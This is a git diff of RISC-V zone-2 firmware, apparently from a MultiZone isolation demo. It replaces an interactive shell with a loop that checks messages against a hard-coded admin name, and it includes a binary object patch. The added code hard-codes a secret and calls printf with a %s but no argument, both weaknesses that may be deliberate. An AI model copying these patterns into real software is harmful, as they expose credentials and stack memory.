-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "dma")==0){
-	// --------------------------------------------------------------------
-		if (tk[1] != NULL && tk[2] != NULL && tk[3] != NULL){
-			DMA_REG(DMA_TR_SRC_OFF)  = strtoul(tk[1], NULL, 16);
-			DMA_REG(DMA_TR_DEST_OFF) = strtoul(tk[2], NULL, 16);
-			DMA_REG(DMA_TR_SIZE_OFF) = strtoul(tk[3], NULL, 16);
-			DMA_REG(DMA_CH_CTRL_OFF) = 0b0001; // en irqs & start transfer
-		} else printf("Syntax: dma source dest size \n");
-
-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "send")==0){
-	// --------------------------------------------------------------------
-		if (tk[1] != NULL && tk[1][0]>='1' && tk[1][0]<='4' && tk[2] != NULL){
-			char msg[16]; strncpy(msg, tk[2], 16);
-			if (!MZONE_SEND( tk[1][0]-'0', msg) )
-				printf("Error: Inbox full.\n");
-		} else printf("Syntax: send {1|2|3|4} message \n");
-
-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "recv")==0){
-	// --------------------------------------------------------------------
-		if (tk[1] != NULL && tk[1][0]>='1' && tk[1][0]<='4'){
-			char msg[16];
-			if (MZONE_RECV(tk[1][0]-'0', msg))
-				printf("msg : %.16s\n", msg);
-			else
-				printf("Error: Inbox empty.\n");
-		} else printf("Syntax: recv {1|2|3|4} \n");
-
-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "yield")==0){
-	// --------------------------------------------------------------------
-		const unsigned long C1 = MZONE_CSRR(CSR_MCYCLE);
-		MZONE_YIELD();
-		const unsigned long C2 = MZONE_CSRR(CSR_MCYCLE);
-		const unsigned long C = C2-C1;
-		const int T = C/(CPU_FREQ/1000000);
-		printf( (C>0 ? "yield : elapsed cycles %d / time %dus \n" : "yield : n/a \n"), C, T);
-
-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "timer")==0){
-	// --------------------------------------------------------------------
-		if (tk[1] != NULL){
-			const uint64_t ms = abs(strtoull(tk[1], NULL, 10));
-			const uint64_t T0 = MZONE_RDTIME();
-			const uint64_t T1 = T0 + ms*RTC_FREQ/1000;
-			MZONE_WRTIMECMP(T1);
-			printf("timer set T0=%lu, T1=%lu \n", (unsigned long)(T0*1000/RTC_FREQ),
-												  (unsigned long)(T1*1000/RTC_FREQ) );
-			CSRS(mie, 1<<7);
-		} else printf("Syntax: timer ms \n");
-
-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "stats")==0)	print_stats();
-	// --------------------------------------------------------------------
-
-	// --------------------------------------------------------------------
-	else if (strcmp(tk[0], "restart")==0) asm ("j _start");
-	// --------------------------------------------------------------------
-
-	// --------------------------------------------------------------------
-	else if (strcmp(tk[0], "pmp")==0) print_pmp();
-	// --------------------------------------------------------------------
-
-	// --------------------------------------------------------------------
-	else if (strcmp(tk[0], "ecall")==0) asm ("ecall"); // test
-	// --------------------------------------------------------------------
-
-	// --------------------------------------------------------------------
-	else if (strcmp(tk[0], "csrr")==0){ // test
-	// --------------------------------------------------------------------
-		volatile unsigned long regval;
-		unsigned long C0 = MZONE_CSRR(CSR_MCYCLE);
-		  //asm volatile( "csrr %0, ustatus" : "=r"(regval) ); // illegal
-			asm volatile( "csrr %0, mip" : "=r"(regval) );
-		  //regval = CSRR(mip);
-		  //regval = MZONE_CSRR(CSR_MIP);
-		unsigned long C1 = MZONE_CSRR(CSR_MCYCLE);
-		printf( "0x%08x (%d cycles) \n", regval, (int)(C1-C0) );
-
-	} else printf("Commands: yield send recv pmp load store exec dma stats timer restart \n");
-
-}
-
-// ------------------------------------------------------------------------
-int readline() {
-// ------------------------------------------------------------------------
-
-	static int p=0;
-	static int esc=0;
-	static char history[8][sizeof(inputline)]={"","","","","","","",""}; static int h=-1;
-
-	int eol = 0; // end of line
-
-	while ( !eol && buffer.w > buffer.r ) {
-
-		PLIC_REG(PLIC_EN_OFFSET) &= ~(1 << PLIC_UART_RX_SOURCE); //CSRC(mie, 1<<11);
-			const char c = buffer.data[buffer.r++];
-			if (buffer.r >= buffer.w) {buffer.r = 0; buffer.w = 0;}
-		PLIC_REG(PLIC_EN_OFFSET) |= 1 << PLIC_UART_RX_SOURCE; //CSRS(mie, 1<<11);
-
-		if (c=='\e'){
-			esc=1;
-
-		} else if (esc==1 && c=='['){
-			esc=2;
-
-		} else if (esc==2 && c=='3'){
-			esc=3;
-
-		} else if (esc==3 && c=='~'){ // del key
-			for (int i=p; i<strlen(inputline); i++) inputline[i]=inputline[i+1];
-			write(1, "\e7", 2); // save curs pos
-			write(1, "\e[K", 3); // clear line from curs pos
-			write(1, &inputline[p], strlen(inputline)-p);
-			write(1, "\e8", 2); // restore curs pos
-			esc=0;
-
-		} else if (esc==2 && c=='C'){ // right arrow
-			esc=0;
-			if (p < strlen(inputline)){
-				p++;
-				write(1, "\e[C", 3);
-			}
-
-		} else if (esc==2 && c=='D'){ // left arrow
-			esc=0;
-			if (p>0){
-				p--;
-				write(1, "\e[D", 3);
-			}
-
-		} else if (esc==2 && c=='A'){ // up arrow (history)
-			esc=0;
-			if (h<8-1 && strlen(history[h+1])>0){
-				h++;
-				strcpy(inputline, history[h]);
-				write(1, "\e[2K", 4); // 2K clear entire line - cur pos dosn't change
-				write(1, "\rZ2 > ", 6);
-				write(1, inputline, strlen(inputline));
-				p=strlen(inputline);
-
-			}
-
-		} else if (esc==2 && c=='B'){ // down arrow (history)
-			esc=0;
-			if (h>0 && strlen(history[h-1])>0){
-				h--;
-				strcpy(inputline, history[h]);
-				write(1, "\e[2K", 4); // 2K clear entire line - cur pos dosn't change
-				write(1, "\rZ2 > ", 6);
-				write(1, inputline, strlen(inputline));
-				p=strlen(inputline);
-			}
-
-		} else if ((c=='\b' || c=='\x7f') && p>0 && esc==0){ // backspace
-			p--;
-			for (int i=p; i<strlen(inputline); i++) inputline[i]=inputline[i+1];
-			write(1, "\e[D", 3);
-			write(1, "\e7", 2);
-			write(1, "\e[K", 3);
-			write(1, &inputline[p], strlen(inputline)-p);
-			write(1, "\e8", 2);
-
-		} else if (c>=' ' && c<='~' && p < sizeof(inputline)-1 && esc==0){
-			for (int i = sizeof(inputline)-1-1; i > p; i--) inputline[i]=inputline[i-1]; // make room for 1 ch
-			inputline[p]=c;
-			write(1, "\e7", 2); // save curs pos
-			write(1, "\e[K", 3); // clear line from curs pos
-			write(1, &inputline[p], strlen(inputline)-p); p++;
-			write(1, "\e8", 2); // restore curs pos
-			write(1, "\e[C", 3); // move curs right 1 pos
-
-		} else if (c=='\r') {
-			p=0; esc=0; eol = 1;
-			// trim
-			while (inputline[strlen(inputline)-1]==' ') inputline[strlen(inputline)-1]='\0';
-			while (inputline[0]==' ') for (int i = 0; i < strlen(inputline); i++) inputline[i]=inputline[i+1];
-			// save line to history
-			if (strlen(inputline)>0 && strcmp(inputline, history[0])!=0){
-				for (int i = 8-1; i > 0; i--) strcpy(history[i], history[i-1]);
-				strcpy(history[0], inputline);
-			} h = -1;
-			write(1, "\n", 1);
-
-		} else
-			esc=0;
-
-	}
-
-	return eol;
-
-}
-
+char *admin_name = "my_secret_admin_name";
 // ------------------------------------------------------------------------
 int main (void) {
 
@@ -572,22 +140,42 @@ int main (void) {
 	printf("software does not have these restrictions.                           \n");
 	printf("=====================================================================\n");
 
-    print_cpu_info();
-
 	write(1, "\n\rZ2 > ", 7);
-
     while(1){
 
-		if (readline()){
-			cmd_handler(); //printf("%s\n", inputline);
-			write(1, "\n\rZ2 > ", 7);
-			inputline[0]='\0';
+		struct ZoneMessage *zm;
+		//either zm or printf2 zone 1
+		zm = receiveZoneMessageAndHandlePrintf2(1, inputline);
+		if(NULL != zm) {
+			uint8_t rv = 0;
+			char dbg[21];
+			memcpy(dbg, zm->data, 20);
+			dbg[20] = 0;
+			printf("zm->data: %s\n");
+			if(strlen(admin_name) == zm->len && strncmp(zm->data, admin_name, zm->len) == 0) {
+				rv = 1;
+			}
+			else {
+				rv = 0;
+			}
+			free(zm->data);
+			zm->len = 1;
+			zm->data = (char*)malloc(1);
+			printf("Storing rv value in zm->data\n");
+			*zm->data = rv;
+			//memcpy(zm->data, &rv, 1);
+			printf("Sending response to zone 1 - rv==%u\n",*zm->data);
+			zm = sendZoneMessage(zm, 1, ImplicitFree);
+			printf("Message sent to zone 2\n");
+		}
+		else {
+			//get printf2 from zone 2
+			zm = receiveZoneMessageAndHandlePrintf2(2, inputline);
+			if (NULL != zm) {
+				printf("Received a ZoneMessage in zone 2 from zone 2. Intended?\n");
+				freeZoneMessage(zm);
+			}
 		}
-
-		msg_handler(inputline);
-
-		if(buffer.w==0)
-			MZONE_WFI();
 
 	}
 
diff --git a/ArtyImplementation/zone2/main.o b/ArtyImplementation/zone2/main.o
index 0b5252d5346130eb60a2700eeae6af19cdd0d36d..dbcb6dcd6d4b9e580c89ecc6c15ac4e4459ebf31 100644
GIT binary patch
literal 156600
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
